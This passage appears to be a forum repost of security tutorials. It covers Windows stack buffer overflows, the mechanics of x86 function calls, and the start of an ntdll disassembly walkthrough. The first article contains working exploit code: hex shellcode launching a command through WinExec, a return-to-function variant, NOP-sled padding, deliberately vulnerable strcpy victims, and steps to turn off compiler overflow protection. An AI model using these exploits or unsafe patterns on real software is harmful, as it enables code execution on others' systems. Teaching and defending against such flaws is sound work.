even among library functions working on text strings, there are indeed those that cannot control the length of the real buffer thereby becoming susceptible to an overflow of the declared length. Before attempting any further analysis of the mechanism by which the attack progresses, let us develop a familiarity with some technical aspects regarding program execution and memory management functions. [h=2]Process Memory[/h] When a program is executed, its various compilation units are mapped in memory in a well-structured manner. Fig. 1 represents the memory layout. Fig. 1: Memory arrangement Legend: The text segment contains primarily the program code, i.e., a series of executable program instructions. The next segment is an area of memory containing both initialized and uninitialized global data. Its size is provided at compilation time. Going further into the memory structure toward higher addresses, we have a portion shared by the stack and heap that, in turn, are allocated at run time. The stack is used to store function call-by arguments, local variables and values of selected registers allowing it to retrieve the program state. The heap holds dynamic variables. To allocate memory, the heap uses the malloc function or the new operator. [h=2]What is the stack used for?[/h] The stack works according to a LIFO model (Last In First Out). Since the spaces within the stack are allocated for the lifetime of a function, only data that is active during this lifetime can reside there. Only this type of structure results from the essence of a structural approach to programming, where the code is split into many code sections called functions or procedures. When a program runs in memory, it sequentially calls each individual procedure, very often taking one from another, thereby producing a multi-level chain of calls. Upon completion of a procedure it is required for the program to continue execution by processing the instruction immediately following the CALL instruction. In addition, because the calling function has not been terminated, all its local variables, parameters and execution status require to be “frozen” to allow the remainder of the program to resume execution immediately after the call. The implementation of such a stack will guarantee that the behavior described here is exactly the same. [h=2]Function calls[/h] The program works by sequentially executing CPU instructions. For this purpose the CPU has the Extended Instruction Counter (EIP register) to maintain the sequence order. It controls the execution of the program, indicating the address of the next instruction to be executed. For example, running a jump or calling a function causes the said register to be appropriately modified. Suppose that the EIP calls itself at the address of its own code section and proceeds with execution. What will happen then? When a procedure is called, the return address for function call, which the program needs to resume execution, is put into the stack. Looking at it from the attacker’s point of view, this is a situation of key importance. If the attacker somehow managed to overwrite the return address stored on the stack, upon termination of the procedure, it would be loaded into the EIP register, potentially allowing any overflow code to be executed instead of the process code resulting from the normal behavior of the program. We may see how the stack behaves after the code of Listing 1 has been executed. Listing1 void f(int a, int { char buf[10]; // <-- the stack is watched here } void main() { f(1, 2); } After the function f() is entered, the stack looks like the illustration in Figure 2. Fig. 2 Behavior of the stack during execution of a code from Listing 1 Legend: Firstly, the function arguments are pushed backwards in the stack (in accordance with the C language rules), followed by the return address. From now on, the function f() takes the return address to exploit it. f() pushes the current EBP content (EBP will be discussed further below) and then allocates a portion of the stack to its local variables. Two things are worth noticing. Firstly, the stack grows downwards in memory as it gets bigger. It is important to remember, because a statement like this: sub esp, 08h That causes the stack to grow, may seem confusing. In fact, the bigger the ESP, the smaller the stack size and vice versa. An apparent paradox. Secondly, whole 32-bit words are pushed onto the stack. Hence, a 10-character array occupies really three full words, i.e. 12 bytes. [h=2]How does the stack operate?[/h] There are two CPU registers that are of “vital” importance for the functioning of the stack which hold information that is necessary when calling data residing in the memory. Their names are ESP and EBP. The ESP (Stack Pointer) holds the top stack address. ESP is modifiable and can be modified either directly or indirectly. Directly – since direct operations are executable here, for example, add esp, 08h. This causes shrinking of the stack by 8 bytes (2 words). Indirectly – by adding/removing data elements to/from the stack with each successive PUSH or POP stack operation. The EBP register is a basic (static) register that points to the stack bottom. More precisely it contains the address of the stack bottom as an offset relative to the executed procedure. Each time a new procedure is called, the old value of EBP is the first to be pushed onto the stack and then the new value of ESP is moved to EBP. This new value of ESP held by EBP becomes the reference base to local variables that are needed to retrieve the stack section allocated for function call {1}. Since ESP points to the top of the stack, it gets changed frequently during the execution of a program, and having it as an offset reference register is very cumbersome. That is why EBP is employed in this role. [h=2]The threat[/h] How to recognize where an attack may occur? We just know that the return address is stored on the stack. Also, data is handled in the stack. Later we will learn what happens to the return address if we consider a combination, under certain circumstances, of both facts. With this in mind, let us try with this simple application example using Listing 2. Listing 2 #include char *code = "AAAABBBBCCCCDDD"; //including the character '\0' size = 16 bytes void main() { char buf[8]; strcpy(buf, code); } When executed, the above application returns an access violation {2}. Why? Because an attempt was made to fit a 16-character string into an 8–byte space (it is fairly possible since no checking of limits is carried out). Thus, the allocated memory space has been exceeded and the data at the stack bottom is overwritten. Let us look once again at Figure 2. Such critical data as both the frame address and the return address get overwritten (!). Therefore, upon returning from the function, a modified return address has been pushed into EIP, thereby allowing the program to proceed with the address pointed to by this value, thus creating the stack execution error. So, corrupting the return address on the stack is not only feasible, but also trivial if “enhanced” by programming errors. Poor programming practices and bugged software provide a huge opportunity for a potential attacker to execute malicious code designed by him. [h=2]Stack overrun[/h] We must now sort all the information. As we already know, the program uses the EIP register to control execution. We also know that upon calling a function, the address of the instruction immediately following the call instruction is pushed onto the stack and then popped from there and moved to EIP when a return is performed. We may ascertain that the saved EIP can be modified when being pushed onto the stack, by overwriting the buffer in a controlled manner. Thus, an attacker has all the information to point his own code and get it executed, creating a thread in the victim process. Roughly, the algorithm to effectively overrun the buffer is as follows: 1. Discovering a code, which is vulnerable to a buffer overflow. 2. Determining the number of bytes to be long enough to overwrite the return address. 3. Calculating the address to point the alternate code. 4. Writing the code to be executed. 5. Linking everything together and testing . The following Listing 3 is an example of a victim’s code. Listing 3 – The victim’s code #include #define BUF_LEN 40 void main(int argc, char **argv) { char buf[bUF_LEN]; if (argv > 1) { printf(„\buffer length: %d\nparameter length: %d”, BUF_LEN, strlen(argv[1]) ); strcpy(buf, argv[1]); } } This sample code has all the characteristics to indicate a potential buffer overflow vulnerability: a local buffer and an unsafe function that writes to memory, the value of the first instruction line parameter with no bounds checking employed. Putting to use our newfound knowledge, let us accomplish a sample hacker’s task. As we ascertained earlier, guessing a code section potentially vulnerable to buffer overflow seems simple. The use of a source code (if available) may be helpful otherwise we can just look for something critical in the program to overwrite it. The first approach will focus on searching for string-based function like strcpy(), strcat() or gets(). Their common feature is that they do not use unbounded copy operations, i.e. they copy as many as possible until a NULL byte is found (code 0). If, in addition, these functions operate on a local buffer and there is the possibility to redirect the process execution flow to anywhere we want, we will be successful in accomplishing an attack. Another approach would be trial and error, by relying on stuffing an inconsistently large batch of data inside any available space. Consider now the following example: victim.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA If the program returns an access violation error, we may simply move on to step 2. The problem now, is to construct a large string with overflow potential to effectively overwrite the return address. This step is also very easy. Remembering that only whole words can be pushed onto the stack, we simply need to construct the following string: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU............. If successful, in terms of potential buffer overflow, this string will cause the program to fail with the well-known error message: The instruction at „0x4b4b4b4b” referenced memory at „0x4b4b4b4b”. The memory could not be „read” The only conclusion to be drawn is that since the value 0x4b is the letter capital “K” in ASCII code, the return address has been overwritten with „KKKK”. Therefore, we can proceed to Step 3.Finding the buffer beginning address in memory (and the injected shellcode) will not be easy. Several methods can be used to make this “guessing” more efficient, one of which we will discuss now, while the others will be explained later. In the meanwhile we need to get the necessary address by simply tracing the code. After starting the debugger and loading the victim program, we will attempt to proceed. The initial concern is to get through a series of system function calls that are irrelevant from this task point of view. A good method is to trace the stack at runtime until the input string characters appear successively. Perhaps two or more approaches will be required to find a code similar to that provided below: :00401045 8A08 mov cl, byte ptr [eax] :00401047 880C02 mov byte ptr [edx+eax], cl :0040104A 40 inc eax :0040104B 84C9 test cl, cl :0040104D 75F6 jne 00401045 This is the strcpy function we are looking for. On entry to the function, the memory location pointed by EAX is read in order to move (next line) its value into memory location, pointed by the sum of the registers EAX and EDX. By reading the content of these registers during the first iteration we can determine that the buffer is located at 0x0012fec0. Writing a shellcode is an art itself. Since operating systems use different system function calls, an individual approach is needed, depending on the OS environment under which the code must run and the goal it is being aimed at. In the simplest case, nothing needs to be done, since just overwriting the return address causes the program to deviate from its expected behavior and fail. In fact, due to the nature of buffer overflow flaws associated with the possibility that the attacker can execute arbitrary code, it is possible to develop a range of different activities constrained only by available space (although this problem can also be circumvented) and access privileges. In most cases, buffer overflow is a way for an attacker to gain “super user” privileges on the system or to use a vulnerable system to launch a Denial of Service attack. Let us try, for example, to create a shellcode allowing commands (interpreter cmd.exe in WinNT/2000). This can be attained by using standard API functions: WinExec or CreateProcess. When WinExec is called, the process will look like this: WinExec(command, state) In terms of the activities that are necessary from our point of view, the following steps must be carried out: - pushing the command to run onto the stack. It will be „cmd /c calc”. - pushing the second parameter of WinExec onto the stack. We assume it to be zero in this script. - pushing the address of the command „cmd /c calc”. - calling WinExec. There are many ways to accomplish this task and the snippet below is only one of possible tricks: sub esp, 28h ; 3 bytes jmp call ; 2 bytes par: call WinExec ; 5 bytes push eax ; 1 byte call ExitProcess ; 5 bytes calling: xor eax, eax ; 2 bytes push eax ; 1 byte call par ; 5 bytes .string cmd /c calc|| ; 13 bytes Some comments on this: sub esp, 28h This instruction adds some room to the stack. Since the procedure containing an overflow buffer had been completed, consequently, the stack space allocated for local variables is now declared as unused due to the change in ESP. This has the effect that any function call which is given from the code level is likely to overwrite our arduously constructed code inserted in the buffer. To have a function callee-save, all we need is to restore the stack pointer to what it was before “garbage”, that is to its original value (40 bytes) thereby assuring that our data will not be overwritten. jmp call The next instruction jumps to the location where the WinExec function arguments are pushed onto the stack. Some attention must be paid to this. Firstly, a NULL value is required to be “elaborated” and placed onto the stack. Such a function argument cannot be taken directly from the code otherwise it will be interpreted as null terminating the string that has only been partially copied. In the next step, we need a way of pointing the address of the command to run and we will make this in a somewhat ad hoc manner. As we may remember, each time a function is called, the address following the call instruction is placed onto the stack. Our successful (hopefully) exploit first overwrites the saved return address with the address of the function we wish to call. Notice that the address for the string may appear somewhere in the memory. Subsequently, WinExec followed by ExitProcess will be run. As we already know, CALL represents an offset that moves the stack pointer up to the address of the function following the callee. And now we need to compute this offset. Fig. 3 below shows a structure of a shellcode to accomplish this task. Fig. 3 A sample shellcode Legend: As can be seen, our example does not consider our reference point, the EBP, that needs to be pushed onto the stack. This is due to an assumption that the victim program is a VC++ 7 compiled code with its default settings that skip the said operation. The remaining job around this problem is to have the code pieces put together and test the whole. The above shellcode, incorporated in a C program and being more suitable for the CPU is presented in Listing 4. Listing 4 – Exploit of a program victim.exe #include #include #include #include char *victim = "victim.exe"; char *code = "\x90\x90\x90\x83\xec\x28\xeb\x0b\xe8\xe2\xa8\xd6\x77\x50\xe8\xc1\x90\xd6\x77\x33\xc0\x50\xe8\xed\xff\xff\xff"; char *oper = "cmd /c calc||"; char *rets = "\xc0\xfe\x12"; char par[42]; void main() { strncat(par, code, 28); strncat(par, oper, 14); strncat(par, rets, 4); char *buf; buf = (char*)malloc( strlen(victim) + strlen(par) + 4); if (!buf) { printf("Error malloc"); return; } wsprintf(buf, "%s \"%s\"", victim, par); printf("Calling: %s", buf); WinExec(buf, 0); } Ooops, it works! The only requisite is that the current directory has a compiled file victim.exe from Listing 3. If all goes as expected, we will see a window with a well-known System Calculator. [h=2]Stock-based and non-stack based exploits[/h] In the previous example we presented an own code that is executable once the control over the program has been taken over. However, such an approach may not be applicable, when a „victim” is able to check that no illegal code on the stack is executed, otherwise the program will be stopped. Increasingly, so called non-stack based exploits are being used. The idea is to directly call the system function by overwriting (nothing new!) the return address using, for example, WinExec. The only remaining problem is to push the parameters used by the function onto the stack in a useable state. So, the exploit structure will be like in Figure 4. Fig. 4 A non-stack based exploit Legend: A non-stack-based exploit requires no instruction in the buffer but only the calling parameters of the function WinExec. Because a command terminated with a NULL character cannot be handled, we will use a character ‘|’. It is used to link multiple commands in a single command line. This way each successive command will be executed only if the execution of a previous command has failed. The above step is indispensable for terminating the command to run without having executed the padding. Next to the padding which is only used to fill the buffer, we will place the return address (ret) to overwrite the current address with that of WinExec. Furthermore, pushing a dummy return address onto it ® must ensure a suitable stack size. Since WinExec function accepts any DWORD values for a mode of display, it is possible to let it use whatever is currently on the stack. Thus, only one of two parameters remains to terminate the string. In order to test this approach, it is necessary to have the victim’s program. It will be very similar to the previous one but with a buffer which is considerably larger (why? We will explain later). This program is called victim2.exe and is presented as Listing 5. Listing 5 – A victim of a non-stack based exploit attack #include #define BUF_LEN 1024 void main(int argc, char **argv) { char buf[bUF_LEN]; if (argv > 1) { printf(„\nBuffer length: %d\nParameter length: %d”, BUF_LEN, strlen(argv[1]) ); strcpy(buf, argv[1]); } } To exploit this program we need a piece given in Listing 6. Listing 6 – Exploit of the program victim2.exe #include char* code = "victim2.exe \"cmd /c calc||AAAAA...AAAAA\xaf\xa7\xe9\x77\x90\x90\x90\x90\xe8\xfa\x12\""; void main() { WinExec( code, 0 ); } For simplicity’s sake, a portion of „A” characters from inside the string has been deleted. The sum of all characters in our program should be 1011. When the WinExec function returns, the program makes a jump to the dummy saved return address and will consequently quit working. It will then return the function call error but by that time the command should already be performing its purpose. Given this buffer size, one may ask why it is so large whereas the “malicious” code has become relatively smaller? Notice that with this procedure, we overwrite the return address upon termination of the task. This implies that the stack top restores the original size thus leaving a free space for its local variables. This, in turn, causes the space for our code (a local buffer, in fact) to become a room for a sequence of procedures. The latter can use the allocated space in an arbitrary manner, most likely by overwriting the saved data. This means that there is no way to move the stack pointer manually, as we cannot execute any own code from there. For example, the function WinExec that is called just at the beginning of the process, occupies 84 bytes of the stack and calls subsequent functions that also place their data onto the stack. We need to have such a large buffer to prevent our data from destruction. Figure 5 illustrates this methodology. Fig. 5 A sample non-stack based exploit: stack usage Legend: This is just one of possible solutions that has many alternatives to consider. First of all, it is easy to compile because it is not necessary to create an own shellcode. It is also immune to protections that use monitoring libraries for capturing illegal codes on the stack. [h=2]System function calling[/h] Notice, that all previously discussed system function callings employ a jump command to point to a pre-determined fixed address in memory. This determines the static behavior of the code which implies that we agree to have our code non transferable across various Windows operating environments. Why? Our intention is to suggest a problem associated with the fact that various Windows OSes use different user and kernel addresses. Therefore, the kernel base address differs and so do the system function addresses. For details, see Table 1. Table 1. Kernel addresses vs. OS environment [TABLE] [TR] [TD=width: 185] Windows Platform [/TD] [TD=width: 159] Kernel Base Address [/TD] [/TR] [TR] [TD=width: 185] Win95 [/TD] [TD=width: 159] 0xBFF70000 [/TD] [/TR] [TR] [TD=width: 185] Win98 [/TD] [TD=width: 159] 0xBFF70000 [/TD] [/TR] [TR] [TD=width: 185] WinME [/TD] [TD=width: 159] 0xBFF60000 [/TD] [/TR] [TR] [TD=width: 185] WinNT (Service Pack 4 and 5) [/TD] [TD=width: 159] 0x77F00000 [/TD] [/TR] [TR] [TD=width: 185] Win2000 [/TD] [TD=width: 159] 0x77F00000 [/TD] [/TR] [/TABLE] To prove it, simply run our example under operating an system other than Windows NT/2000/XP. What remedy would be appropriate? The key is to dynamically fetch function addresses, at the cost of a considerable increase in the code length. It turns out that it is sufficient to find where two useful system functions are located, namely GetProcAddress and LoadLibraryA, and use them to get any other function address returned. For more details, see references, particularly the Kungfoo project developed by Harmony [6]. [h=2]Other ways of defining the beginning of the buffer[/h] All previously mentioned examples used Debugger to establish the beginning of the buffer. The problem lies in the fact that we wanted to establish this address very precisely. Generally, it is not a necessary requirement. If, assuming that the beginning of an alternate code is placed somewhere in the middle of the buffer and not at the buffer beginning whereas the space after the code is filled with many identical jump addresses, the return address will surely be overwritten as required. On the other hand, if we fill the buffer with a series of 0x90s till the code beginning, our chance to guess the saved return address will grow considerably. So, the buffer will be filled as illustrated in Figure 6. Fig. 6 Using NOPs during an overflow attack Legend: The 0x90 code corresponds to a NOP slide that does literally nothing. If we point at any NOP, the program will slide it and consequently it will go to the shellcode beginning. This is the trick to avoid a cumbersome search for the precise address of the beginning of the buffer. [h=2]Where does the risk lie?[/h] Poor programming practices and software bugs are undoubtedly a risk factor. Typically, programs that use text string functions with their lack of automatic detection of NULL pointers. The standard C/C++ libraries are filled with a handful of such dangerous functions. There are: strcpy(), strcat(), sprintf(), gets(), scanf(). If their target string is a fixed size buffer, a buffer overflow can occur when reading input from the user into such a buffer. Another commonly encountered method is using a loop to copy single characters from either the user or a file. If the loop exit condition contains the occurrence of a character, this means that the situation will be the same as above. [h=2]Preventing buffer overflow attacks[/h] The most straightforward and effective solution to the buffer overflow problem is to employ secure coding. On the market there are several commercial or free solutions available which effectively stop most buffer overflow attacks. The two approaches here are commonly employed: - library-based defenses that use re-implemented unsafe functions and ensure that these functions can never exceed the buffer size. An example is the Libsafe project. - library-based defenses that detect any attempt to run illegitimate code on the stack. If the stack smashing attack has been attempted, the program responds by emitting an alert. This is a solution implemented in the SecureStack developed by SecureWave. Another prevention technique is to use compiler-based runtime boundaries, checking what recently became available and hopefully with time, the buffer overflow problem will end up being a major headache for system administrators. While no security measure is perfect, avoiding programming errors is always the best solution. [h=2]Summary[/h] Of course, there are plenty of interesting buffer overflow issues which have not been discussed. Our intention was to demonstrate a concept and bring forth certain problems. We hope that this paper will be a contribution to the improvement of the software development process quality through better understanding of the threat, and hence, providing better security to all of us. [h=2]References[/h] The links listed below form a small part of a huge number of references available on the World Wide Web. [1] Aleph One, Smashing The Stack For Fun and Profit, Phrack Magazine nr 49, http://www.phrack.org/show.php?p=49&a=14 [2] P. Fayolle, V. Glaume, A Buffer Overflow Study, Attacks & Defenses, http://www.enseirb.fr/~glaume/indexen.html [3] I. Simon, A Comparative Analysis of Methods of Defense against Buffer Overflow Attacks, http://www.mcs.csuhayward.edu/~simon/security/boflo.html [4] Bulba and Kil3r, Bypassing StackGuard and Stackshield, Phrack Magazine 56 No 5, http://phrack.infonexus.com/search.phtml?view&article=p56-5 [5] many interesting papers on Buffer Overflow and not only: http://www.nextgenss.com/research.html#papers [6] http://harmony.haxors.com/kungfoo [7] Avaya Business Communications Research & Development - Avaya Labs [8] www.securewave.com Endnotes: {1} In practice, certain code-optimizing compilers may operate without pushing EBP on the stack. The Visual C++ 7 Compiler uses it as a default option. To deactivate it, set: Project Properties | C/C++ | Optimization | Omit Frame Pointer for NO. {2} Microsoft has introduced a buffer overrun security tool in its Visual C++ 7. If you are intending to use the above examples to run in this environment, ensure that this option is not selected before compilation: Project Properties | C/C++ | Code Generation | Buffer Security Check should have the value NO. Sursa: Analysis of Buffer Overflow Attacks :: Windows OS Security :: Articles & Tutorials :: WindowSecurity.com
  14. [h=3]A required step to understand buffer overflow[/h] This is not a buffer overflow exploit, but a required background that will help to understand how CPU & memory "collaborate" each other to execute a program. I have read many articles about 'buffer overflow'. Most of them starting from a specific point by 'stowing' the basic knowledge one must have to deeply understand what is going on (behind the scenes). I wrote this article to cover (I hope) this gap. If at the end of this article you feel more comfortable with concepts like CALL, RETN and how a function is executed using the memory (buffer, stack, etc) then I will consider this article as a successful one... First, I would like to point out that everything we say, is about the processor xx86 family. In addition, most memory addresses are expressed in a decimal notation (for the shake of clarity, for beginners) instead of hexadecimal that actually represented by real world software systems. Requirements in order to read this article: 1. A basic understanding of assembly language. 2. A basic understanding of C language. Every process starts in a computer memory (RAM – Random Access Memory) in three basic segments: -Code Segment -Data Segment (the well known BSS) -Stack Segment CODE SEGMENT ------------ In this memory segment, "live" all instructions of our program. Nobody... (nobody? well ok, almost nobody) can write to this memory segment i.e. is a read only segment. For example All assembly instructions (in C code here) are located in code segment: /* Set the 1st diagonal items to 1 otherwise 0 */ for (i = 0; i < 100; i++) for (j = 0; j < 100; j++) if (i<>j) a[i][j] = 0 else a[i][j] = 1; PS: The remarks /*...*/ are not included... in the data segment. The compiler does not produce code for the remarks. DATA SEGMENT ------------ All initialized or un-initialized global variable are stored in this non-read only segment. For example: int i; int j = 0; int a[100][100]; STACK SEGMENT ------------- All function variables, return addresses and function addresses are stored in this non-readonly memory. This segment is actually a stack data structure (for those that have attended a basic information technology course). This, actually means, that we put variables in a stack in memory. The last putted (or pushed) variable is in the top on stack i.e. the first available. The well known LIFO (Last In First Out) data structure. The processor register ESP (Extended Stack Pointer) is used to keep the address of the first current available element of the stack. In the stack: we can put (PUSH) and get (POP) values. There are two important “secrets” here: [1] PUSH and POP instructions are done in 4-byte-units because of the 32bit architecture of xx86 processors family. [2] Stack grows downward, that is, if SP=256, just after a “PUSH 34” instruction, SP will become 252 and the value of EAX will be placed on address 252. For example: STACK adrs memory ---- ------------------ 256 | xy | 252 | | 248 | | 244 | | ... ................. (ESP=256) Instruction > PUSH EAX ; remark: suppose EAX = 34 STACK 256 | xy | 252 | 34 | 248 | | 244 | | ... ................. (ESP=252) Instruction > POP EAX ; remark: Get the value from the stack into EAX register STACK 256 | xy | 252 | 34 | 248 | | 244 | | ... ................. (ESP=256) Instruction > PUSH 15 ; remark: suppose EAX = 15 Instruction > PUSH 16 ; remark: suppose EBX = 16 STACK 256 | xy | 252 | 15 | 248 | 16 | 244 | | ... ................. (ESP=248) What is behind a function-call ------------------------------- Before we explain what is behind, we must say a few words about the EIP (Extended Instruction Pointer or simple 'Instruction pointer'). This register keeps the code segment address of the instruction that will be executed by the CPU. Every time CPU executes an instruction stores into EIP the address of the instruction that follows the currently executed. But, how does CPU find the address of the next instruction? Well... we have two cases here... 1. The address is immediately after the instruction currently executed. 2. There is a 'JMP' (jump, i.e. a function call) so the instruction that needs to be executed next is in an address which is not next to the current. In case 1 the address is calculated by simply add the Length of the currently executed instruction to the current EIP value. Example: Suppose we have the following 2 instruction to the addresses 100, 101 100 push EDX 101 mov ESP 0 Suppose that at the starting point of our little program we have: EIP = 100 CPU executes the instruction at address 100. CPU checks the instruction: Is it a JUMP? No, so calculate its size. CPU knows that the push instruction is 1 byte long. So,... the new value of EIP = EIP + size(push EDX) => EIP = 100 + 1 => EIP = 101 So,.... CPU executes the instruction at address 101, and so forth... In case 2, we have a jump... things are a bit more different. Actually, just before we JMP to another address (i.e. call a function), we save the address of the next instruction in a temporary register, say in EDX; and before returning from the function we write the address in EDX to EIP back again. CALL and RETN assembly instructions are used ... by the CPU to calculate the above addresses: The CALL is used to do 2 things: 1. To "remember" the next instruction that will be executed after function returns (by pushing its address to the stack) and 2. To write into the EIP the address of the calling function i.e. to perform the function call. The RETN instruction is called at the end of the function: It pops (gets) the "return address" that CALL pushes into the stack to continue the execution after the end of the function. The Base pointer (EBP) ---------------------- Each function in any program (even the main() function in C) has its own stack frame. A stack frame is a logical group of consecutive variables in the stack that keeps variables and addresses for every function that is currently executed. Every address in the stack’s frame is a relative address. That means, we address the locations of data in our stack in relative to some criterion. And this criterion is EBP, which is the acronym for Extended Base Pointer. EBP has the stack pointer of the caller function. We PUSH the old ESP to the stack, and utilize another register,named EBP to relatively reference local variables in the callee function. I hope the use of the base pointer will be more clear in the following example. A REAL EXAMPLE C PROGRAM: Consider the following C program: void function1(int , int , int ); void main() { function1 (1, 2, 3); } void function1 (int a, int b, int c) { char z[4]; } I compile/link the above program and I use the olly debugger to check the assembly code created. Bypassing the operating systems instructions (which is the 90% of the assembly code) the rest is the code that corresponds to our little program: 0040123C /. 55 PUSH EBP 0040123D |. 8BEC MOV EBP,ESP 0040123F |. 6A 03 PUSH 3 ; /Arg3 = 00000003 00401241 |. 6A 02 PUSH 2 ; |Arg2 = 00000002 00401243 |. 6A 01 PUSH 1 ; |Arg1 = 00000001 00401245 |. E8 05000000 CALL bo1.0040124F ; \bo1.0040124F 0040124A |. 83C4 0C ADD ESP,0C 0040124D |. 5D POP EBP 0040124E \. C3 RETN 0040124F /$ 55 PUSH EBP 00401250 |. 8BEC MOV EBP,ESP 00401252 |. 51 PUSH ECX 00401253 |. 59 POP ECX 00401254 |. 5D POP EBP 00401255 \. C3 RETN ANALYSIS: --------- The addresses from 0040123C to 0040124E is the main() function. The addresses from 0040124F to 00401255 is the function1() function. 0040123C /. 55 PUSH EBP Backs up the old stack pointer. It pushes it onto the stack. 0040123D |. 8BEC MOV EBP,ESP Copy the old stack pointer to the ebp register From then on, in the function, we'll reference function's local variables with EBP. These two instructions are called the "Procedure Prologue". The stack has the EBP value: [ebp] STACK 256 | [ebp] | ... ................. (ESP=256) 0040123F |. 6A 03 PUSH 3 ; /Arg3 = 00000003 00401241 |. 6A 02 PUSH 2 ; |Arg2 = 00000002 00401243 |. 6A 01 PUSH 1 ; |Arg1 = 00000001 Here we put the arguments into the stack The stack is: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | ... ................. (ESP=244) 00401245 |. E8 05000000 CALL bo1.0040124F ; \bo1.0040124F call the function at addresss 0040124F. bo1 is the name of my executable. The stack becomes: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | 240 | 0040124A | <- the return address when the function1 ends. ... ................. (ESP=240) Let’s follow the execution, so go to address 0040124F (the function1): 0040124F /$ 55 PUSH EBP 00401250 |. 8BEC MOV EBP,ESP Hmm... this is the "Procedure Prologue" again (remember this must be executed in every function). It set ups its own stack frame. The EBP register is currently pointing at a location in main's stack frame. This value must be preserved. So, EBP is pushed onto the stack. Then the contents of ESP is transferred to EBP. This allows the arguments to be referenced as an offset from EBP and frees up the stack register ESP to do other things. The stack now, is: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | 240 | 0040124A | <- the return address when the function1 ends. 236 | <main’s EBP> | <- Note that ESP=EBP indicates this address. ... ................. (ESP=236) 00401253 |. 59 POP ECX 00401254 |. 5D POP EBP After two pops the actual stack becomes: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | ... ................. (ESP=244) 00401255 \. C3 RETN The function ends and returns to the 0040124A (remember our definition of the RET instruction). 0040124A |. 83C4 0C ADD ESP,0C After the function RETurned, we add 12 or 0C in hex (since we pushed 3 args onto the stack, each allocating 4 bytes (integers)) into Stack Pointer. Increasing the ESP we actually decreasing the stack (remember that we fill stack downwards from high to low memory addresses i.e. ESP = 244 + 12 = 256). STACK 256 | [ebp] | ... ................. (ESP=256) Thus, the ESP has the value that has at the first step of the programs execution before the function call. I hope that you get a basic understanding of the use of Stack and Stack Pointer. In another article I will describe how nasty things can happened here. Hint: How about overwriting the stack item (at address 240 in our example above) or how about overwriting the value of the Instruction Pointer (EIP)... I suggest you to try my little program or better create your own and test, check, review, test, check, review, test, check, review!! Happy Programming Guys!! References: [1] BUFFER OVERFLOWS DEMYSTIFIED by murat@enderunix.org [2] C Function Call Conventions and the Stack (UMBC CMSC 313, Computer Organization & Assembly Language, Spring 2002, Section 0101) [3] The Assembly Language Book for IBM PC by Peter Norton (ISBN 960-209-028-6) [4] Analysis of Buffer Overflow Attacks from Analysis of Buffer Overflow Attacks :: Windows OS Security :: Articles & Tutorials :: WindowSecurity.com [5] 8088 8086 Programming and Applications for IBM PC/XT & Compatibles by Nikos Nasoufis Posted by Andreas Venieris at 7:49 PM Sursa: 0x191 Unauthorized: A required step to understand buffer overflow
  15. [h=3]Debugging the Native Windows API[/h] We are going to play a little game. We will search inside the Native Windows Application Programming Interface (API) for functions that used internally by the Windows 7 operating system. The use of such functions is not suggested by Microsoft. We are not only going to uncover such functions, but also we will use them and we will examine their results. The Native API is behind the Base API that Microsoft suggests to use for compatibility and portability reasons. The Native API is the last layer (in user mode) that performs direct calls to the windows kernel mode and more specific to the NTOSKRNL.EXE that is the core windows kernel. I must say that, in my opinion, the method of checking the API of windows is not the easiest thing. I could say that it is more difficult than this in Linux while windows source is not available. Its a closed source. How then is possible to study a specific API function? Only disassembly code can be extracted by processes that are not belong to core kernel. In case that we want to debug kernel, we will need special programs (a windows kernel debugger for example), but this is beyond the scope of this article. We will see from a user-mode point of view the procedures and functions (even undocumented) inside the Native API, aka ntdll.dll. A question that one might ask, is: But why we do this? Hmm... there are more than one reason: 1. It is a very good elementary lesson for the wannabe operating systems reverser's. 2. We will learn how to administer our operating system's basic internal actions. 3. We will see live the operation of the (somehow) cryptic native windows API. What knowledge is required to read this article? Well, not deep. 1. Elementary knowledge of some reversing techniques, for example how to use Olly debugger. 2. Little (yes little!) knowledge of assembly. We will meet inevitability a lot of assembly code in our trip but I am not willing to make this article an assembly listing with explanations! We will see how to achieve our goals without the need to be an assembly programmer. Lets start! The native API is implemented inside the ntdll.dll that is located in c:\windows\system32. For the shake of safety lets copy this dll to a work directory say d:\work2. Every test is presented here is performed in a box with Windows 7 Ultimate 64bit. What I am going to do now is to extract every single function that this DLL contains and to (randomly...?) choose one to examine. In order to extract all the exported functions of ntdll.dll I will use the program dumpbin that is come with Visual Studio 2008. I enter: D:\work2> dumpbin ntdll.dll /exports > exports.txt and I create (through redirection) the file exports.txt that contains all the functions that ntdll.dll exports. When I open (using ultraedit) I will see the following: Image 1: Exported functions of ntdll.dll Looking inside this file I found this: ordinal hint RVA name 933 398 0003859A RtlGetVersion Hmm... there is a function named RtlGetVersion that is located at RVA (Relative Virtual Address) 3859?. The RVA is the relative address that the RtlGetVersion function will be loaded when the dll will be loaded into memory and thus gets a Base Address. If, for example, the RVA of a function is 15 and the dll will be loaded at position 100 then the function will be located at address 115. I would like to see what this function does. So, I will dissaseble it. To do this I have to disassemble the whole ntdll as follows: D:\work2>dumpbin /disasm ntdll.dll > ntdlldisasm.txt The file ntdlldisasm.txt that I create contains the whole assembly code of ntdll. Its a small source file of... 17Mb! Now, I have to search in this file for my RtlGetVersion function. This is easy. I just have to apply the rule: IMAGE_BASE_ADDRESS + Function_RVA = Function Address I already have the RVA. its 0003859A. But what is the IMAGE_BASE_ADDRESS of ntdll? This is easy too. I just enter: D:\work2>dumpbin /headers ntdll.dll | find "image base" 7DE70000 image base (7DE70000 to 7DFEFFFF) So 7DE70000 + 0003859A = 7DEA859A. which means that my function RtlGetVersion located at address 7DEA859A. Image 2: the ntdll.dll disassembly code The actual code of RtlGetVersion is the following: 7DEA859A: 8B FF mov edi,edi 7DEA859C: 55 push ebp 7DEA859D: 8B EC mov ebp,esp 7DEA859F: 51 push ecx 7DEA85A0: 64 A1 18 00 00 00 mov eax,dword ptr fs:[00000018h] 7DEA85A6: 53 push ebx 7DEA85A7: 56 push esi 7DEA85A8: 8B 75 08 mov esi,dword ptr [ebp+8] 7DEA85AB: 57 push edi 7DEA85AC: 8B 78 30 mov edi,dword ptr [eax+30h] 7DEA85AF: 8B 87 A4 00 00 00 